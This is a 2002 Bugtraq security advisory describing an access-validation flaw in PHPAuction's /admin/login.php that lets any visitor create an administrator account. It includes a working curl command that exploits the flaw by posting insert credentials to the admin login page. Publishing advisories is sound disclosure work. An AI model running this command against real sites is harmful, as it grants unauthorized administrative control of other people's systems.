PHPAuction Unauthorized Administrative Access Vulnerability

Bugtraq ID:	5141
Class:	Access Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 02 2002 12:00AM
Updated:	Jul 02 2002 12:00AM
Credit:	Discovered by <[email protected]>.
Vulnerable:	PHPAuction PHPAuction 2.1 PHPAuction PHPAuction 2.0 PHPAuction PHPAuction 1.3 PHPAuction PHPAuction 1.2
Not Vulnerable:

PHPAuction Unauthorized Administrative Access Vulnerability

PhpAuction is a freely available web-based auction system. It is written using PHP scripting language on a MySQL database engine.

A flaw in /admin/login.php has been reported in PHPAuction, which could allow users to gain escalated privileges.

Submitting authentication credentials via login.php will create the user account with adminsitrative permissions.

PHPAuction Unauthorized Administrative Access Vulnerability

No exploit is required. <[email protected]> has contributed the following curl command, which is sufficent for exploitation:

curl http://pro.phpauction.org/proplus/admin/login.php -d "action=insert" -d "username=test" -d "password=test"

PHPAuction Unauthorized Administrative Access Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PHPAuction Unauthorized Administrative Access Vulnerability

References:

• PHPauction Homepage (PHPauction)